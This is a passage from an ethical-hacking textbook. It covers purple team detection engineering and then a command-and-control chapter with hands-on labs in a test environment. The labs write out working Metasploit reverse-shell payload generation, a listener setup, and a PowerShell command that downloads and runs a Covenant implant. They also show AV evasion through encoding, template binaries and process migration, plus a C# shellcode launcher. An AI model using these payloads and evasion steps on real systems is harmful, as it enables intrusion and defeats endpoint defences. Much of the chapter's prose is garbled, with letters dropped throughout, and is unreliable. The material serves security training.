lateral movement, and are behavior based and not tool based. These are much more
difficult to understand and execute specifically, meaning that the red team has to have
the capability to formulate multiple ways of performing this task to get higher-fidelity
logging, and the defenders have to understand the systems enough to be able to track this
activity. The detection engineering folks also have to be sophisticated enough to correlate
these activities, and if the goal is to build corresponding defenses, then the client and
server owners and controls owners need to be sophisticated enough to be able to block or
mitigate these types of activities, if possible.
Purple Team Activities

Purple teams exist to perform collaborative activities that improve the security posture
of an organization. This could include just about anything, from joint reporting on red
team engagements to building controls. Because of this, there is no one thing that a
purple team does; however, there are some commonalities in things that purple teams are
uniquely positioned for.
Emerging Threat Research

Emerging threat research takes into account multiple areas of a purple team. The primary
contributors are threat intelligence, red team, hunt teams, and incident response. These
teams will work together to identify an emerging threat, such as a 0-day vulnerability
that was published, new information about a technique being deployed in a common
malware family, or a recent set of published research. The threat intelligence team will
identify as much information as possible about this threat and then work with the red
team and hunt teams to try to determine if it would impact the organization.
125
An example of this would be the Microsoft Exchange vulnerabilities disclosed by
Microsoft in March of 2021.1 Limited information was exposed about these vulnerabili-
ties besides the initial disclosure, but if threat intelligence teams were watching, there was
a POC briefly published on GitHub on March 10 that had working code.2 This code
could have been downloaded and passed to a red team, which could test it and determine
whether it works, whether patching was successful, and what privilege level it gave.
From there, the hunt teams could evaluate the logs it left behind and then identify if
it had been executed by anyone else against the organization. As patches rolled out, the
PART II
red team could test again for remediation, and the hunt teams could evaluate logging
with the patch in place to help document what it would look like if the attack occurred
against a patched system.
Performing this type of activity would have put the organization ahead of the curve for
the attacks from various threat actors that followed the POC.
Detection Engineering
Detection engineering is the process of building detections for different types of events.
It can exist outside the context of purple teams; however, purple teams make it drastically
more impactful. By providing relevance, context, and applicability to a specific environ-
ment, purple teams can tailor detections to your environment so you aren’t left with
only vendor-supplied content, which may be overly noisy or not take into consideration
multiple sources that can be combined into higher-fidelity alerts.
A good example of this is a situation where threat intelligence has found that multiple
threat actors are using Cobalt Strike for C2 and are gathering credentials with Mimikatz.
The red team can run this combination of tools on a target host and then work with the
hunt team to see what artifacts are created.
Another example would be an EDR solution logging an LSASS access from the pro-
cess notmalware.exe and the local AV agent logging a connection to the proxy from
notmalware.exe. By combining those two components together, the team discovers that
there are fewer false positives, so they give the information to the detection engineer-
ing team to build a combination alert based on these two factors to allow the first-line
defenders to be alerted when this combination occurs.
Further testing by the red team indicates that the alert doesn’t fire when using Mimi-
katz over Cobalt Strike’s SMB beacon. The red team shares that SMB beacons use named
pipes for communication, but there aren’t currently tools deployed that log named pipes.
The client services team works with the defenders to deploy Sysmon and configure named
pipe creation logging. When the red team runs their tests again, there is now a correlation
between hosts that have created named pipes in the last hour and are accessing LSASS.
The individual alerts on their own would not have been as effective without the teams
working together executing real-life tests within the environment and tailoring the alert-
ing and defense strategy to their specific environment. In the end, everyone wins in this
environment, except for maybe the red team, who has to go research new techniques for
threat emulation.
126
Summary
This chapter covers the basics of ethical hacking and red teams. Red teams operated at
various levels, beginning with vulnerability scanning and going all the way to purple
team and threat emulation. There are pros and cons to both consultant and corporate
red teaming, but many individuals switch between the two throughout their careers to
gain additional experience and adapt to lifestyle changes. As organizations evolve, so do
their capabilities around detection and response. Adding a purple team component can
help provide environment-specific detections with higher fidelity using a combination of
threat intelligence, defense teams, red teams, and engineering teams.
For Further Reading

MITRE ATT&CK Navigator mitre-attack.github.io/attack-navigator/
MITRE ATT&CK attack.mitre.org/
Pyramid of Pain detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html
Penetration Testing Execution Standard (PTES) www.pentest-standard.org/index
.php/Main_Page
References
1. https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-
for-exchange-server/
2. https://krebsonsecurity.com/2021/03/a-basic-timeline-of-the-exchange-mass-hack/
Command and Control (C2)
CHAPTER
7
• Understanding command and control (C2) systems
• Payload obfuscation
• Creating launchers in C#, Go, and Nim
• Network evasion techniques
• Endpoint detection and response (EDR) evasion techniques
For hckers, geing ino  nework is only he firs pr of n ck. Wihou eing le
o inercively execue commnds on sysems,  hcker (oh ehicl nd criminl) cn’
rech heir gols. Using C2 ools nd using evsion echniques cn help esers minin
ccess for longer periods of ime nd limi he impc of conrols on he hoss nd ne-
works h my cu heir ck shor.
Command and Control Systems

Once  sysem is compromised, n cker needs o e le o perform furher recon,
execue commnds, eleve privileges, nd move furher cross he nework. One of he
es wys o ccomplish his is wih  C2 sysem. A C2 sysem ypiclly hs n gen
h runs on  compromised hos h receives commnds from n cker, execues he
commnds, nd hen reurns he resuls. Mos C2 sysems hve hree componens: n
gen h runs on he compromised sysem,  server h cs s n inermediry eween
he cker nd he compromised hos, nd  piece of mngemen sofwre h llows
he cker o issue commnds. Agens nd ckers lk o he C2 server wih heir
respecive componens, llowing he cker o send nd receive commnds wihou
ever direcly hving o lk o he compromised sysem.
Agens cn lk over mny differen proocols, depending on he piece of C2 sofwre,
u common ones re HTTP, HTTPS, DNS, SMB, rw TCP sockes, nd RPC. Once
n cker lunches he gen on he compromised sysem, he gen will check in wih
he server nd send he sic clien deils o he sysem, such s privilege level, user,
nd hosnme. The server will check o see if here re ny wiing sks, nd if here
ren’, he server nd clien will eiher minin n lwys-on connecion, such s wih
127
128
rw TCP sockes or persisen HTTP/HTTPS sockes, or will se up  periodic check-in,
frequenly clled  beacon time. This econ ime is he ime inervl when he gen will
rech ou for check-in nd ddiionl sks.
Becon imes re imporn for operionl securiy. Too shor  period of ime, nd
you will e very noisy, u longer imes men fewer commnds you cn execue. The
choice of ime eween econs should e sed on wh he gols of he es re nd
wheher or no operionl securiy is  concern. If i isn’  concern,  very shor econ
ime les you ccomplish more, u if i is, less frequen nd rndomized check-ins mke
i hrder o see perns h migh cuse you o e deeced. Deecions cn e sed
on he frequency of check-in (how mny imes over  dy), he volume of rffic sen,
he rio of send nd receive d, or emps o deec perns. Mny C2 sysems hve
he concep of jier, or iming vrinces, h cn e pplied o check-in imes o help
wih evsion.
All C2 sysems hve differen feures, u some common ones include he iliy o
cree gen pylods, he iliy o execue commnds nd ge he resuls, nd he il-
iy o uplod nd downlod files. There re free versions of C2 ools h re communiy
suppored, such s Mesploi, PowerShell Empire, nd Covenn. There re lso com-
mercil ools such s Col Srike nd INNUENDO h hve suppor. Your choice of
C2 sysem should e diced y your needs.
NOTE New C2 systems are coming out all the time, and others are becoming
unsupported. If you are interested in picking a C2 system based on your
needs, consider checking out the C2 matrix at https://www.thec2matrix.com/
to find what will work best for you.
Metasploit
One of he firs C2 sysems h mos users ry is Mesploi. Mesploi is  esing
frmework h includes ools nd lirries o help develop explois, es hem, use hem,
nd perform pos-exploiion sks. Mesploi comes in oh  commercil nd n
open source projec nd is owned y Rpid7. The communiy version is inslled on
Kli, mking i esy for users o lern on, nd here re even ools like Mesploile
o c s  vulnerle VM for he free Mesploi Unleshed rining  hps://www
.offensive-securiy.com/mesploi-unleshed/.
Becuse here re so mny quliy uorils like Mesploi Unleshed, we won’ go
ino ll he sics of Mesploi. Insed, we will focus on he sics of using Mesploi
for C2.
NOTE All of the labs in this chapter use the systems from the GHH GitHub
repo (https://github.com/GrayHatHacking/GHHv6) in the Ch07 directory.
After running the instructions in the CloudSetup directory, run build.sh
in the Ch07 directory. When it’s complete, we will use the target and Kali
boxes. The credentials for each of the systems can be found in the README
for each chapter.
Chapter 7: Command and Control (C2)
129
Lab 7-1: Creating a Shell with Metasploit
To egin wih, we will cree  Server Messge Block (SMB) shre on he Kli sysem
o drop our pylod. We cn jus use he /mp direcory wih smd on he sysem. Le’s
dd  shre o our configurion nd hen resr he service nd verify h he shre
is ccessile:
PART II
└─$ cat addshare.txt | sudo tee -a /etc/samba/smb.conf
[ghh]
comment = GHH Share
browseable = yes
path = /tmp
printable = no
guest ok = yes
read only = yes
create mask = 0700
└─$ sudo service smbd restart
└─$ smbclient -L localhost
Enter WORKGROUP\kali's password: <press enter>
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
ghh Disk GHH Share
IPC$ IPC IPC Service (Samba 4.13.2-Debian)
SMB1 disabled -- no workgroup available
Now we cn cree our firs pylod wih msfvenom, s shown nex. We wn o cree
 Meerpreer pylod. Meerpreer is he C2 gen for Mesploi, nd we wn his
gen o rech ck ou o our server. This is referred o s  reverse shell. Bind shells lisen
on he sysem he gen is run on, wheres reverse shells rech ou o he server. In mos
cses, orgnizions won’ llow direc connecion o worksions from he Inerne, so
reverse shells re he mos common for ckers o use.
└─$ msfvenom -p windows/meterpreter_reverse_tcp \
-f exe --platform Windows -o /tmp/msf1.exe
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 175174 bytes
Final size of exe file: 250368 bytes
Saved as: /tmp/msf1.exe
└─$ chmod 755 /tmp/msf1.exe
We hve jus used msfvenom, Mesploi’s pylod generor, o cree  reverse TCP
Meerpreer shell h is stageless, mening he enire pylod is in he inry. Conversely,
staged mens h only  smll piece of  loder is incorpored in he pylod nd he
res is rerieved from he server. When we wn s smll  pylod s possile, hen
sged is opiml. However, someimes conrols cn see our sger loding, nd his
will give us wy. In mos cses, when size is irrelevn, sged will e eer ecuse
fewer hings cn go wrong wih his ype of pylod. For his inry, we cn ell h
our pylod is sgeless ecuse of he nme of he pylod. In Mesploi, in gen-
erl, he form for pylods is <plform>/<pylod>/<pylod ype> for sged nd
<plform>/<pylod>_<pylod ype> for sgeless. Our sged version of his pylod
would e windows/meerpreer/reverse_cp.
130
Nex, we need o lod he hndler o cch our shell when i clls ck. Mesploi hs
 ool clled hndler o cch pylods. Becuse of he wy Mesploi groups explois
y plform, nd ecuse he hndler cn cch ny ype of plform, i is in he muli
direcory. In Mesploi, we need o se our pylod ype o he sme s our msfvenom
pylod nd hen run he exploit commnd o run i:
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.40
LHOST => 10.0.0.40
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.0.0.40:4444
Now h i is running, we cn remoe o our Windows rge sysem using RDP,
log in s our rge user, nd open  PowerShell window. PowerShell les us execue
commnds vi he UNC ph, so we’ll lunch our msf1.exe file off our ghh shre:
PS C:\Users\target> & \\10.0.0.40\ghh\msf1.exe
Bck on our Kli ox, we should see he shell cll ck o he C2 server nd open
 session:
[*] Meterpreter session 1 opened (10.0.0.40:4444 -> 10.0.0.20:49893) at 2021-
09-12 05:45:12 +0000
Now we cn execue commnds. Meerpreer hs some uil-in commnds h cn
e seen wih he help commnd. Some frequen sks we my wn o perform include
geing he user ID h execued he shell using he getuid commnd nd geing  shell
using he shell commnd:
meterpreter > getuid
Server username: GHH\target
meterpreter > shell
Process 1200 created.
Channel 2 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\target>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
GHH\Domain Admins
The command completed successfully.
C:\Users\target>exit
Exit
We hve idenified h we re running s he GHH\rge user nd hve opened 
shell o look  he locl Adminisrors group using he net commnd. Afer exiing he
shell, we see our Meerpreer promp ck. Mesploi hs uil-in pos modules for  lo
of differen civiies. You cn see he pos-exploiion modules y yping run post/ nd
131
pressing tab. They re ghered y funcion; for exmple, if we wned o gher logged-
on users, we could use he following module:
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 3
Current Logged Users
====================
SID User
--- ----
S-1-5-21-449742021-2098378324-3245439462-1111 GHH\target
PART II
[+] Results saved in: /home/kali/.msf4/loot/20210912061025_default_10.0.0.20_
host.users.activ_930927.txt
We cn see our rge user logged in, nd hen we my see ddiionl oupu of users
who hve logged in recenly. To exi, we ype quit o exi our shell nd hen exit -y o
exi Mesploi.
Mesploi hs mssive mouns of funcionliy, nd enumering ech possiiliy
in his chper isn’ possile. However, wih he Mesploi Unleshed clss nd some of
hese ips, you should e well on your wy o using Mesploi s  pylod generor
nd C2 ool.
PowerShell Empire
PowerShell Empire ws relesed  BSides Ls Vegs y Will Schroeder nd Jusin Wrner
in 2015. Since hen, he GiHu projec hs een rchived, nd  forked version is
eing minined nd improved y BCSecuriy  hps://gihu.com/BC-SECURITY/
Empire. PowerShell Empire is  Pyhon-sed C2 frmework h uses PowerShell-sed
pylods, sgers, nd pos-exploiion modules o perform sks. I uses componens
of PowerSploi, ShrpSploi, nd oher ools in pos-exploiion modules, which mens
h mny of he ools h esers will use re lredy uil in.
Once Microsof implemened he Animlwre Scn Inerfce (AMSI) nd incresed
PowerShell logging, PowerShell ecme less populr nd C# ools sred gining popu-
lriy. However, Empire now includes AMSI nd Scrip-Block Logging ypsses h cn
help hide from some of he more recen securiy improvemens. We will look in deph 
Empire in Chper 15.
Covenant
Covenn is  C2 frmework wrien in C# h cn run on oh Linux nd Windows.
Wih he populriy of C# in red em civiies, Covenn hs gined in populriy
ecuse i hs nive C# suppor o uild inries nd cn use mny of he populr C#
pos-exploiion ools. In ddiion, he iliy o execue ddiionl C# ssemlies in
memory nd he iliy o exend he frmework esily mkes i simple o dd your
fvorie C# ools ino he frmework for operions.
Covenn is lso deployle vi Docker nd hs  friendly we inerfce. I ships wih
smple profiles o use for we nd for ridge liseners h cn e used for cusom proo-
cols nd exernl C2. In ddiion, i hs feures h re gre for red ems, such s he
iliy o rck rifcs used on n operion s well s o uild ck grphs h show
he ph  eser ook during n operion.
132
TIP Covenant has great documentation. For more information about
any feature or for information about in-depth customization of Covenant
payloads, stagers, and more, go to the wiki page at https://github.com/
cobbr/Covenant/wiki.
Lab 7-2: Using Covenant C2
To sr Covenn, on he l Kli ox, run he following commnd:
└─$ sudo covenant-kbx start
>>> Starting covenant
Please wait during the start, it can take a long time...
>>> Opening https://127.0.0.1:7443 with a web browser
covenant/default started
Press ENTER to exit
Then, in your we rowser, go o hps://<ip of your kli ox>:7443. Once you click
hrough he SSL wrning, you will e le o se up he firs ccoun on Covenn. Pu
whever you’d like your usernme nd pssword o e, u pick somehing secure so
oher folks cn’ use your C2 sysem.
The Dshord, shown here, is he firs screen you will come o.
Covenn hs some nming convenions h re differen from mny oher C2
sysems. Gruns re he C2 cliens. A Grun connecs o  Lisener, which is he service
h is sood up for C2 communicions. Any ime you issue  commnd o  Grun,
i is considered  Tsk nd is rcked in he Tskings lis, where you cn see wh com-
mnds hve een sen nd heir reurn vlues. To dd  new Lisener, click he Liseners
link on he lef nd choose Cree o ge o he Cree Lisener screen.
133
PART II
For he HpProfile field, we choose CusomHpProfile nd hen need o fill in some
ddiionl fields. The firs is Nme; he deful nme isn’ esily rememerle, so le’s
nme i hp1. The BindAddress field is ll zeros ecuse we wn i o ccep ny IP ddress
h is on he hos mchine, u we do need o chnge he ConnecAddresses field. This is
he ddress h cliens will connec o, nd y deful i will hve one of he Docker IPs,
so we need o se i o he inernl IP ddress for Kli, 10.0.0.40. Nex, we click he Cree
uon o sr he Lisener. When we look on he Liseners , i should show h he
hp1 Lisener is “Acive,” mening his Lisener ws se up correcly.
Our nex sep is o cree  wy of geing he rge o e le o run our inry.
For his, we will go o he Lunchers  on he lef nd choose he Binry opion. The
Binry Luncher screen will e displyed for us o ener our relevn informion ino.
134
For he Lisener field, we choose hp1 nd leve everyhing else he sme, excep
for he DoNeVersion, which we se o Ne40. The version of DoNe is imporn
ecuse older sysems my no hve DoNe 4.0, nd newer sysems my no hve
DoNe 3.5. Doing  i of recon on he rge efore choosing he pylod ype my
e helpful here. Becuse we know h our rge ox is Windows Server 2016, we cn
sfely choose he Ne40 opion. Once we click he Genere uon, he pylod will
e genered inside he pplicion, even hough here won’ e feedck, u now we
need o ge i o our rge.
Nex, we see he Binry Luncher screen. In he Hos field, we cn specify  locion
o hos our inry. To mke i esy, we will jus specify he locion s /grunt1.exe nd
hen click Hos.
You won’ ge ny feedck, u he file is now hosed. You cn go o he Liseners ,
click your lisener, nd hen click Hosed Files o vlide h he file is eing hosed if
you hve prolems.
To execue he Grun on our rge ox, go o  PowerShell promp nd downlod
nd execue he Grun:
PS C:\Users\target> iwr http://10.0.0.40/grunt1.exe -o grunt1.exe
PS C:\Users\target> .\grunt1.exe
When you do his, n ler my riefly pop up on he op righ of he rowser o show
h you hve  new Grun. To view he Grun, go o he Gruns  nd click he nme
of he new Grun.
The Info , shown nex, hs sic informion ou he compromised sysem. We
know h i is n HTTP Grun running s he GHH\rge user on WS20 wih n
IP ddress of 10.0.0.20. We hve he OS version, when he connecion ws eslished,
nd he ls check-in ime. This gives us he sic informion ou he helh nd con-
ex of he Grun, u i’s rrely wh we’ll wn o do. To perform our pos-exploiion
civiies, we need o go o he Tsk .
135
PART II
The Tsk  shows he vrious uil-in modules Covenn hs h we cn run.
Choosing  sk will show he opions for h sk. To jus undersnd he sics, we re
going o run he WhoAmI module h ges he curren user conex. We lredy sw his
from he Grun Info screen, u we cn esily verify h informion wih his module.
When we run he sk, he Inerc window is displyed. We see he commnd eing
sen, u i kes  few momens for he response o come ck. This is ecuse our
Grun isn’  rel-ime Grun nd insed hs  econ inervl. Wih his inervl, i my
ke up o 10 seconds o respond (5 seconds for he Grun o check in nd ge he reques
nd hen 5 more seconds efore i reurns he response). This is ecuse our Luncher
dely ws se  5 seconds.
136
As you cn see, mny sks cn e run wihin Covenn, nd we cover mny of hose
echniques in Chpers 16 nd 17.
The res of he ls in his chper use Mesploi for pylods for he ske of simplic-
iy, u you could use Covenn insed. When you re done wih Covenn, issue he
following commnd in Kli o shu down he server:
└─$ sudo covenant-kbx stop
covenant/default stopped
Press ENTER to exit
Payload Obfuscation
One of our igges chllenges s ehicl hckers is how o sy hed of common conrols.
Mny criminls will use cusom ools o sy hed of hese conrols, u frequenly we
don’ hve he ime o cree cusom sofwre for differen ess. Mny of he nivirus
(AV) vendors re looking  he pulicly ville ools nd uilding deecions for hem,
so i’s imporn o know ips nd ricks o chnge our pylods in differen wys so we
cn use hose ools wihou immediely geing cugh.
msfvenom and Obfuscation

We lredy looked  using msfvenom o uild  sic pylod, u msfvenom hs  on
of differen feures o help rnsform he pylods uil ino he ool. msfvenom hs
encoders h will help encode he pylod using differen echniques o ry o evde AV
signure-sed deecion. There is lso n ierion coun h cn e used o encode he
pylod muliple imes o cree ddiionl vriions from he originl pylod.
Lab 7-3: Obfuscating Payloads with msfvenom
For his l, we’re going o look  differen encoding nd ofuscion mehods h cn
e used wih msfvenom o hide pylods. For he firs exmple, we’ll ke  look  using
encoding o chnge he ppernce of he pylod iself. To do his, we will use he com-
mon encoding “shik_g_ni,” which in Jpnese roughly rnsles o “nohing cn e
done ou i.”
To egin wih, le’s look  some of he srings h re pr of Meerpreer from our
iniil msf1.exe genered in L 7-1. These srings re pr of he oken mnipulion
funcionliy, nd we cn use his funcionliy o rck he Meerpreer hiding for
fuure inries:
└─$ strings /tmp/msf1.exe | grep -i token
OpenProcessToken
AdjustTokenPrivileges
OpenThreadToken
137
We see he funcion nmes for opening process nd hred okens s well s djusing
privileges. Nex, le’s dd some encoding o see wh h looks like:
└─$ msfvenom -p windows/meterpreter_reverse_tcp -f exe -e x86/shikata_ga_nai \
-i 3 --platform Windows -o /tmp/msf2.exe
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 175203 (iteration=0)
PART II
x86/shikata_ga_nai chosen with final size 175261
Final size of exe file: 250368 bytes
We specify he ddiionl opions of -e wih our encoder ype nd -i wih he numer
of ierions we wn o run. We cn see i encoding hree imes nd wriing ou he
inry. If you wned o use  differen encoder, msfvenom -l encoders will show you
opions. Noice ech one is prepended wih he plform of he encoder ype, nd here
we’re genering x86 inries. When we run our strings commnd gin, we don’ ge
nyhing ck, showing h he ex in he Meerpreer pylod iself is ofusced:
└─$ strings /tmp/msf2.exe | grep -i token
┌──(kali kali)-[/tmp]
When we look  he inries, hough, we see h hey re he sme size:
└─$ ls -l /tmp/msf*
-rwxr-xr-x 1 kali kali 250368 Sep 12 05:39 /tmp/msf1.exe
-rw-r--r-- 1 kali kali 250368 Sep 13 06:04 /tmp/msf2.exe
This is ecuse he emples for hese inries re idenicl. This isn’ opiml, s i
mkes he size  good indicor. One hing we cn do is choose  Windows inry h
we migh e le o use s  emple h would e differen. Kli hs some Windows
inries in he sysem lredy, so le’s use he wge.exe inry s our emple:
└─$ msfvenom -p windows/meterpreter_reverse_tcp -f exe -e x86/shikata_ga_nai
\
-i 3 --platform Windows -o /tmp/msf3.exe \
-x /usr/share/windows-binaries/wget.exe
Found 1 compatible encoders
<snipped>
x86/shikata_ga_nai chosen with final size 175261
Error: No .text section found in the template
The error is ecuse msfvenom ries o injec he pylod ino he .ex secion of
he inry, nd if h secion doesn’ exis, we hve  prolem. Le’s ke  look  he
secions h re in he inry for wge.exe:
└─$ objdump -h /usr/share/windows-binaries/wget.exe
/usr/share/windows-binaries/wget.exe: file format pei-i386
138
Sections:
Idx Name Size VMA LMA File off Algn
0 UPX0 00070000 00401000 00401000 00000400 2**2
CONTENTS, ALLOC, CODE
1 UPX1 0004b000 00471000 00471000 00000400 2**2
CONTENTS, ALLOC, LOAD, CODE, DATA
2 UPX2 00000200 004bc000 004bc000 0004b400 2**2
CONTENTS, ALLOC, LOAD, DATA
The inry is pcked wih UPX, so here isn’  ex heder. The exe-only ype for
msfvenom, hough, will overwrie he code o dd msfvenom wihou requiring  .ex
secion. When we run i gin, i works:
└$ msfvenom -p windows/meterpreter_reverse_tcp -f exe-only -e x86/shikata_ga_nai \
-x /usr/share/windows-binaries/wget.exe
<snipped>
Final size of exe-only file: 308736 bytes
One of he side effecs of his echnique is h wget won’ cully ry o do hings i
normlly would, so someone migh ecome suspicious. We cn use he -k flg o keep
funcionliy in he inry. Le’s mke  new inry wih he -k flg:
-x /usr/share/windows-binaries/wget.exe -k
<snipped>
This worked wih he exe ype ecuse i is injecing  new secion heder o hold he
code. Le’s ke  look  he objdump oupu:
└─$ objdump -h /tmp/msf4.exe
/tmp/msf4.exe: file format pei-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 UPX0 00070000 00401000 00401000 00000400 2**2
CONTENTS, ALLOC, LOAD, CODE
1 UPX1 0004b000 00471000 00471000 00000400 2**2
CONTENTS, ALLOC, LOAD, CODE, DATA
2 UPX2 00000200 004bc000 004bc000 0004b400 2**2
CONTENTS, ALLOC, LOAD, DATA
3 .text 0002add4 004bd000 004bd000 0004b600 2**2
CONTENTS, ALLOC, LOAD, CODE
Oky, so now h we hve  few inries, le’s mke hem execule nd lunch 
msfconsole o cch our shells:
└─$ chmod 755 /tmp/*.exe
└─$ msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
139
msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.0.40
LHOST => 10.0.0.40
msf6 exploit(multi/handler) > set ExitonSession false➊
ExitonSession => false
msf6 exploit(multi/handler) > exploit -j❷
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.0.0.40:4444
PART II
We hve dded wo new specs o our commnd. The firs is seing he
ExitonSession vlue o false ➊. Typicl ehvior is o sop lisening once we ge our
firs shell ck. In our cse, we wn o cch muliple shells o ry ech of our inries.
The oher ehvior we wn o fix is immediely going ino  session once  shell con-
necs ck. To do his, we specify -j ❷ wih he exploit commnd o ell Mesploi
we wn i o run in he ckground s  jo. Now when we ge shells, we will see 
messge sying  new shell conneced, u we won’ hve o immediely inerc wih
i. Now le’s go ck o our Windows ox nd run some of our new shells:
PS C:\> cd \\10.0.0.40\ghh
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\msf2.exe
PS Microsoft.PowerShell.Core\FileSystem::\\10.0.0.40\ghh> .\msf3.exe
On our Kli ox, we see wo shells connec, u on he Windows ox, he firs shell
gives us conrol ck immediely while he second hngs. The msf3 inry is our
wge.exe inry h hs hd he code pched o run our shell insed, wheres he
msf2 inry is our encoded sic .exe file from msfvenom. Le’s ccess our session from
he msf3 inry nd exi ou of he Kli ox:
09-13 06:44:52 +0000
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 10.0.0.20 - Meterpreter session 2 closed. Reason: User exit
We used he sessions commnd o inerc wih he open session 2, nd we see he
Meerpreer promp where we ype exit. Bck on he Windows ox, conrol hs reurned.
On our Windows ox, le’s ry running he msf4.exe inry, which is using wge.exe wih
he -k flg o keep funcionliy:
PS ::\\10.0.0.40\ghh> .\msf4.exe
msf4: missing URL
Usage: msf4 [OPTION]... [URL]...
Try `msf4 --help' for more options.
PS ::\\10.0.0.40\ghh> .\msf4.exe http://scanme.nmap.org
--06:50:06-- http://scanme.nmap.org/
=> `index.html'
Resolving scanme.nmap.org... 45.33.32.156
Connecting to scanme.nmap.org[45.33.32.156]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
140
When we firs run he inry, i shows n error messge indicing we need o specify
 URL. This is he ypicl wget funcionliy, u we don’ ge  shell ck ecuse he
inry never mde i o our shellcode. When we ry gin wih  URL, we see wget rying
o downlod  file o our SMB shre, u i cn’ wrie. On our Mesploi console we
should see somehing like his:
09-13 06:50:06 +0000
[*] 10.0.0.20 - Meterpreter session 3 closed. Reason: Died
The session died righ wy ecuse when he inry finished, i killed off our shell
s well. We could reques  relly ig pge so h i kes  long ime, u we hve
ddiionl opions. In he dvnced opions (which cn e shown for ny pylod vi
--list-options) is n opion for PrependMigrate, which will dd  migrion o  new
process  he eginning of he code, mking our shell live longer hn he process iself.
Le’s uild one of hose nd ry i:
-x /usr/share/windows-binaries/wget.exe -k PrependMigrate=true
<snipped>
┌──(kali kali)-[/tmp]
└─$ chmod 755 /tmp/msf5.exe
On our Windows ox, when we run msf5.exe, we should see he sme oupu s
msf4.exe, u in Mesploi we see somehing differen:
msf6 exploit(multi/handler) > [*] Meterpreter session 4 opened
(10.0.0.40:4444 -> 10.0.0.20:49250) at 2021-09-13 06:57:31 +0000
meterpreter > getpid
Current pid: 3704
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
<snipped>
3532 836 ShellExperienceHost.exe x64 2 GHH\target C:\Windows\
SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
3704 3444 rundll32.exe x86 2 GHH\target C:\Windows\
SysWOW64\rundll32.exe
The process h our shellcode is running in is no msf5.exe u insed rundll32
.exe. Our inry spwned  new process nd injeced ino i, leving our session up, even
hough msf5.exe finished. Wih hese echniques, we cn eer hide Mesploi pylods
in oher inries wih ddiionl ofuscion o ry o keep signure-sed AV engines
from deecing hem. We hve more opions hn jus he emples for msfvenom,
hough. Le’s look  some lernive sregies.
141
Creating C# Launchers
The deful lunchers wih Mesploi nd oher C2 ools re frequenly deeced y AV,
endpoin deecion nd response (EDR), nd oher securiy ools. To com his, mny
ehicl hckers nd criminls use shellcode lunchers o help hide heir shellcode. These
lunchers cn use differen echniques o lunch he shellcode, including injecing ino
oher processes, using encrypion, nd  vriey of oher echniques or cominions of
echniques o look differen enough o securiy conrols o no e esily deeced.
PART II
C# hs mny perns h hve een creed for lunching shellcode, including frme-
works like ShrpSploi h cn e included s lirries in oher ools h hve muliple
wys o lunch shellcode h cn e used hrough funcions. The exensiiliy nd il-
iy o include funcions from exernl DLLs wrien in C++ nd oher lnguges mke
i esy o use he higher-level funcionliy of C# o do he ulk of he lifing for he
luncher while swiching o C++ funcions wih sysem DLLs o perform specific sks.
Lab 7-4: Compiling and Testing C# Launchers
One of he mos sic wys of lunching shellcode is y plcing i in  hred. A thread
is  se of code h runs concurrenly wih noher piece of code. When we lunch he
code in  hred, eiher in our curren process or in noher process, he min ody of he
pplicion keeps running while our shellcode runs  he sme ime.
For his l, we’re going o keep using he Mesploi muli/hndler seup from he
previous l nd dd he shellcode o  emple. In he Kli insnce is  shells sudirec-
ory. When looking in h direcory, we see he wo files we re going o e using for
his l: uild_cshrp.sh nd cshrp.emple. The emple file hs he ody of he code
wih  su o inser our shellcode.
The uild_cshrp.sh scrip conins he msfvenom commnd o cree  64-i
Meerpreer reverse TCP shell h connecs ck o our hndler nd hen compiles he
resuling code wih he Mono C# compiler, mcs. The resuling wo files re he cshrp.cs
file nd  cshrp_dropper.exe file in /mp. Le’s ke  look  he emple file:
UInt32 scAddress = ❶VirtualAlloc(0,(UInt32)shellcode.Length,
MEM_COMMIT, PAGE_READWRITE);
❷Marshal.Copy(shellcode, 0, (IntPtr)(scAddress), shellcode.Length);
uint prot;
❸VirtualProtect((IntPtr)(scAddress), shellcode.Length, PAGE_EXECUTE, out prot);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
❹hThread = CreateThread(0, 0, scAddress, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
Our C# code egins  ❶, where we cree memory h is he size of our shellcode.
Th memory is empy, so  ❷, we copy he conens of our shellcode ino i. In order
o execue i, he memory hs o e mrked execule, nd VirtualProtect ❸ does h
for us. From here,  ❹, we cree  hred h runs he shellcode. Finlly, we wi for
h shellcode o finish wih he WaitForSingleObject commnd, nd once i finishes,
142
he progrm cn exi. Now h we hve nlyzed wh i does, le’s uild i using he
following commnds:
└─$ ./build_csharp.sh
No encoder specified, outputting raw payload
Final size of csharp file: 1014695 bytes
When we run he shell file, we see he oupu from msfvenom prined o he screen,
nd our resuling cshrp_dropper64.exe file is in /mp. We cn ccess i from he
